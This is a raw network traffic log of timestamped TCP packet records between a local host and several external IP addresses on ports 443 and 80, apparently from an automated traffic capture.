Nov 24, 2024 04:20:28.991714954 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.991725922 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.991746902 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.991754055 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.993884087 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.993925095 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.993993044 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.994227886 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.994249105 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:29.094914913 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.095071077 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.095184088 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.095232010 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.095240116 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.095293999 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.095299006 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.101010084 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.103797913 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.103805065 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.105602980 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.107721090 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.107832909 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.107846022 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.148753881 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.148809910 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.148844957 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.148885965 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.148888111 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.148912907 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.148927927 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.162174940 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.162241936 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.162244081 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.162259102 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.162298918 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.162309885 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.170156956 CET	443	49760	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.170329094 CET	443	49760	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.170419931 CET	49760	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.171483040 CET	49760	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.171504974 CET	443	49760	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.179790974 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.179894924 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.179933071 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.241651058 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.241683006 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.336128950 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.336186886 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.336224079 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.341408014 CET	49765	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:29.341428995 CET	443	49765	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:29.354038954 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.354100943 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.354134083 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.361700058 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.361769915 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.361800909 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.371514082 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.371567965 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.371593952 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.380346060 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.380501986 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.380525112 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.389174938 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.389365911 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.389393091 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.401185989 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.401235104 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.401246071 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.414477110 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.414534092 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.414566040 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.427915096 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.427987099 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.428019047 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.441358089 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.441431999 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.441471100 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.455538034 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.455611944 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.455636978 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.464437962 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.464529037 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.464551926 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.512049913 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.512079954 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.551457882 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.551512957 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.551558018 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.561245918 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.561306953 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.561337948 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.567759037 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.567831039 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.567863941 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.574417114 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.574485064 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.574542999 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.574573994 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.574618101 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.578984022 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.584758997 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.584820032 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.584851980 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.592374086 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.592441082 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.592473984 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.603377104 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.603430033 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.603461981 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.613962889 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.614022017 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.614053011 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.624744892 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.624785900 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.624835014 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.624871969 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.625010014 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.635538101 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.645879030 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.645925999 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.645957947 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.656205893 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.656243086 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.656281948 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.656315088 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.656361103 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.666001081 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.675918102 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.675992012 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.676023960 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.684218884 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.684299946 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.684298992 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.684325933 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.684413910 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.692692995 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.701488018 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.701539993 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.701575041 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.709800005 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.709918022 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.709964037 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.709981918 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.710030079 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.711118937 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.719643116 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.719724894 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.719752073 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.728286982 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.728360891 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.728377104 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.734728098 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.734781981 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.734810114 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.752834082 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.754023075 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.754091978 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.754117966 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.754544973 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.754554033 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.756891012 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.756978989 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.756989956 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.761734962 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.762072086 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.762094975 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.764828920 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.764874935 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.764890909 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.771944046 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.772056103 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.772085905 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.772126913 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.772255898 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.774688005 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.783433914 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.783473969 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.783503056 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.783526897 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.783581018 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.783911943 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:29.783957005 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:29.784003019 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:30.415641069 CET	443	49772	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.419595003 CET	49772	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.419630051 CET	443	49772	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.420172930 CET	49772	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.420177937 CET	443	49772	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.454885006 CET	443	49770	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:30.454992056 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:30.455457926 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:30.455466986 CET	443	49770	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:30.455938101 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:30.455945969 CET	443	49770	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:30.456048012 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:30.456056118 CET	443	49770	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:30.553195000 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:30.553267956 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:30.555515051 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:30.555522919 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:30.555851936 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:30.616801023 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:30.627958059 CET	443	49774	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.628324986 CET	49774	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.628345013 CET	443	49774	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.628736973 CET	49774	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.628742933 CET	443	49774	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.659375906 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:30.677184105 CET	443	49773	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.677529097 CET	49773	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.677553892 CET	443	49773	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.677937031 CET	49773	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.677947044 CET	443	49773	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.687119007 CET	49782	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:30.687155008 CET	443	49782	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:30.687287092 CET	49782	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:30.687557936 CET	49782	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:30.687573910 CET	443	49782	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:30.712891102 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.713232040 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.713288069 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.713615894 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.713629961 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.727758884 CET	443	49775	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.728065968 CET	49775	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.728091002 CET	443	49775	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.728446960 CET	49775	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.728457928 CET	443	49775	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.850933075 CET	443	49772	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.850999117 CET	443	49772	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.851149082 CET	49772	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.851281881 CET	49772	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.851281881 CET	49772	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.851303101 CET	443	49772	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.851316929 CET	443	49772	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.853562117 CET	49783	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.853584051 CET	443	49783	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:30.853704929 CET	49783	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.853862047 CET	49783	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:30.853872061 CET	443	49783	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.023461103 CET	443	49770	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:31.023528099 CET	443	49770	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:31.023530006 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:31.023562908 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:31.028239012 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:31.028264999 CET	443	49770	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:31.028278112 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:31.028352976 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:31.065155029 CET	443	49774	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.065233946 CET	443	49774	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.065298080 CET	49774	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.065586090 CET	49774	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.065598011 CET	443	49774	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.065620899 CET	49774	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.065627098 CET	443	49774	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.071885109 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.071923971 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.071976900 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.076503992 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.076518059 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.121947050 CET	443	49773	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.122023106 CET	443	49773	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.122078896 CET	49773	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.122982979 CET	49773	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.123007059 CET	443	49773	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.123020887 CET	49773	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.123028994 CET	443	49773	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.126163960 CET	49787	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.126183987 CET	443	49787	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.126415014 CET	49787	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.126709938 CET	49787	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.126724005 CET	443	49787	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.146296024 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.146384954 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.146518946 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.147031069 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.147063017 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.147090912 CET	49776	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.147109985 CET	443	49776	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.150424957 CET	49788	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.150465965 CET	443	49788	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.150600910 CET	49788	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.150901079 CET	49788	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.150916100 CET	443	49788	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.172195911 CET	443	49775	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.172271013 CET	443	49775	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.172358990 CET	49775	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.172544956 CET	49775	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.172565937 CET	443	49775	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.172585011 CET	49775	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.172591925 CET	443	49775	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.175573111 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.175607920 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.175693989 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.175786972 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:31.175793886 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:31.265933990 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:31.265959978 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:31.265969038 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:31.265988111 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:31.265995026 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:31.266000986 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:31.266011000 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:31.266050100 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:31.266068935 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:31.266113043 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:31.286362886 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:31.286436081 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:31.286453009 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:31.286490917 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:31.286745071 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:31.286758900 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:31.597130060 CET	49790	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:31.597197056 CET	443	49790	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:31.597284079 CET	49790	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:31.597841024 CET	49790	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:31.597868919 CET	443	49790	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:31.843772888 CET	49791	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:31.843812943 CET	443	49791	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:31.843883038 CET	49791	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:31.845077038 CET	49791	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:31.845091105 CET	443	49791	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:32.311760902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:32.312164068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:32.431299925 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:32.431667089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:32.431878090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:32.432130098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:32.472208977 CET	443	49782	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:32.480321884 CET	49782	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:32.480357885 CET	443	49782	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:32.480765104 CET	443	49782	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:32.481259108 CET	49782	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:32.481333971 CET	443	49782	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:32.528882027 CET	49782	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:32.551677942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:32.649074078 CET	443	49783	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.649748087 CET	49783	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:32.649770021 CET	443	49783	13.107.246.63	192.168.2.6
